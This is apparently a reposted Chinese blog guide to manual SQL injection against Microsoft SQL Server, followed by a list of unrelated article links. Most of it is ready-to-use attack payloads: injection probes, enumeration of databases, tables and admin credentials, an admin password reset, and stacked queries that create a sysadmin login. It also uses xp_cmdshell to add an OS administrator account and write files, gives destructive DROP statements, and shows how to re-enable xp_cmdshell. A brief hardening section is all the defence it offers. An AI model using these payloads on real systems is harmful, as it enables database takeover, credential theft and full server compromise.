[干货]手工注入mssqlserver从基础到高级操作

2019 年 10 月 11 日 黑白之道

文章来源:  渗透云笔记

手工注mssqlserver


1.判断注入点:

'

and 1=1 返回正常

and 1=2 返回错误

 

2.判断版本号:nt5.2:win2003 nt6.1:win7

winver

and @@version>0


3.判断当前连接的数据库用户and user >0


4.判断当前连接数据库:

and db_name()>0


5.判断其它库:修改dbid值 and (select name from master.dbo.sysdatabases where dbid=6)>0


6.判断表名:and (select top 1 name from sysobjects where xtype='u' and status>0 )>0


7.判断其它名:

and name not in('t_jiaozhu')

加到第6条语句最后一个括号前:

and (select top 1 name from sysobjects where xtype='u' and status>0 and name not in('t_jiaozhu'))>0


8.判断列名:

and (select Top 1 col_name(object_id('admin'),1) from sysobjects)>0

9.判断值:

and (select username from admin)>0

10.修改密码:

;update article.dbo.admin set password='bbbbbb' where username='admin';--

 

mssqlserver高级操作


一 数据库提权:sa==system>administrator


1.新建数据库用户:

;exec master..sp_addlogin hyq,888888;--


2.查看数据库用户:

程序-mssqlserver--企业管理器--安全性--登录:刷新


3.提权:hyq用户加入sysadmin组

;exec master..sp_addsrvrolemember hyq,sysadmin;--


4.获取sa口令:

sqlmap.py -u "注入点" --passwords

利用漏洞:

数据库的连接工具:navicat for mssql

查询分析器:

delete from tbname

drop database dbname

drop tablename tbname


二 操作系统提权


1.新建系统用户:

;exec master..xp_cmdshell 'net user txl1988 888888 /add'


2.提权:

;exec master..xp_cmdshell 'net localgroup administrators txl1988 /add'


漏洞利用:

1.远程桌面:mstsc

2.ipc空连接:

net use \\ip\ipc$

输入用户名,密码

net use k: \\ip\c$


三 向系统写文件

;exec xp_cmdshell 'echo aaaa>c:\a.txt'

 

a.bat

:1

start iexplore.exe

goto 1

 

四 防护xp_cmdshell

1.删除:xplog70.dll

;exec master..sp_dropextendedproc 'xp_cmdshell'

2.恢复:

;exec master..sp_addextendedproc 'xp_cmdshell','xplog70.dll'


sqlserver2005及以上版本

恢复:

exec sp_configure 'show advanced options',1;

reconfigure;

exec sp_configure 'xp_cmdshell',1;

reconfigure

终极防护:防未公布漏洞:基于cmdshell反弹

%system%system32\cmd.exe 删除所有默认权限,添加administrator:完全控制

你可能喜欢

利用MSSqlserver xp_cmdshell提权

登录查看更多
1

相关内容

云笔记 是一款跨平台的简单快速的个人记事备忘工具,并且能够实现PC,移动设备和云端之间的信息同步。
【干货书】高级应用深度学习,294页pdf
专知会员服务
153+阅读 · 2020年6月20日
知识图谱推理,50页ppt,Salesforce首席科学家Richard Socher
专知会员服务
108+阅读 · 2020年6月10日
还在修改博士论文?这份《博士论文写作技巧》为你指南
【资源】100+本免费数据科学书
专知会员服务
107+阅读 · 2020年3月17日
TensorFlow Lite指南实战《TensorFlow Lite A primer》,附48页PPT
专知会员服务
69+阅读 · 2020年1月17日
【干货】大数据入门指南:Hadoop、Hive、Spark、 Storm等
专知会员服务
95+阅读 · 2019年12月4日
Stabilizing Transformers for Reinforcement Learning
专知会员服务
59+阅读 · 2019年10月17日
在K8S上运行Kafka合适吗?会遇到哪些陷阱?
DBAplus社群
9+阅读 · 2019年9月4日
硬核实践经验 - 企鹅辅导 RN 迁移及优化总结
IMWeb前端社区
5+阅读 · 2019年5月6日
PHP使用Redis实现订阅发布与批量发送短信
安全优佳
7+阅读 · 2019年5月5日
Pupy – 全平台远程控制工具
黑白之道
43+阅读 · 2019年4月26日
百度开源项目OpenRASP快速上手指南
黑客技术与网络安全
5+阅读 · 2019年2月12日
逆向 | C++ 加壳程序的编写思路
计算机与网络安全
9+阅读 · 2019年1月1日
超级!超级!超级好用的视频标注工具
极市平台
8+阅读 · 2018年12月27日
为什么分布式一定要有消息队列?
互联网架构师
4+阅读 · 2018年7月5日
Neo4j 和图数据库起步
Linux中国
8+阅读 · 2017年12月20日
python pandas 数据处理
Python技术博文
4+阅读 · 2017年8月30日
Arxiv
6+阅读 · 2018年11月1日
Bidirectional Attention for SQL Generation
Arxiv
4+阅读 · 2018年6月21日
VIP会员
相关VIP内容
【干货书】高级应用深度学习,294页pdf
专知会员服务
153+阅读 · 2020年6月20日
知识图谱推理,50页ppt,Salesforce首席科学家Richard Socher
专知会员服务
108+阅读 · 2020年6月10日
还在修改博士论文?这份《博士论文写作技巧》为你指南
【资源】100+本免费数据科学书
专知会员服务
107+阅读 · 2020年3月17日
TensorFlow Lite指南实战《TensorFlow Lite A primer》,附48页PPT
专知会员服务
69+阅读 · 2020年1月17日
【干货】大数据入门指南:Hadoop、Hive、Spark、 Storm等
专知会员服务
95+阅读 · 2019年12月4日
Stabilizing Transformers for Reinforcement Learning
专知会员服务
59+阅读 · 2019年10月17日
相关资讯
在K8S上运行Kafka合适吗?会遇到哪些陷阱?
DBAplus社群
9+阅读 · 2019年9月4日
硬核实践经验 - 企鹅辅导 RN 迁移及优化总结
IMWeb前端社区
5+阅读 · 2019年5月6日
PHP使用Redis实现订阅发布与批量发送短信
安全优佳
7+阅读 · 2019年5月5日
Pupy – 全平台远程控制工具
黑白之道
43+阅读 · 2019年4月26日
百度开源项目OpenRASP快速上手指南
黑客技术与网络安全
5+阅读 · 2019年2月12日
逆向 | C++ 加壳程序的编写思路
计算机与网络安全
9+阅读 · 2019年1月1日
超级!超级!超级好用的视频标注工具
极市平台
8+阅读 · 2018年12月27日
为什么分布式一定要有消息队列?
互联网架构师
4+阅读 · 2018年7月5日
Neo4j 和图数据库起步
Linux中国
8+阅读 · 2017年12月20日
python pandas 数据处理
Python技术博文
4+阅读 · 2017年8月30日
Top
微信扫码咨询专知VIP会员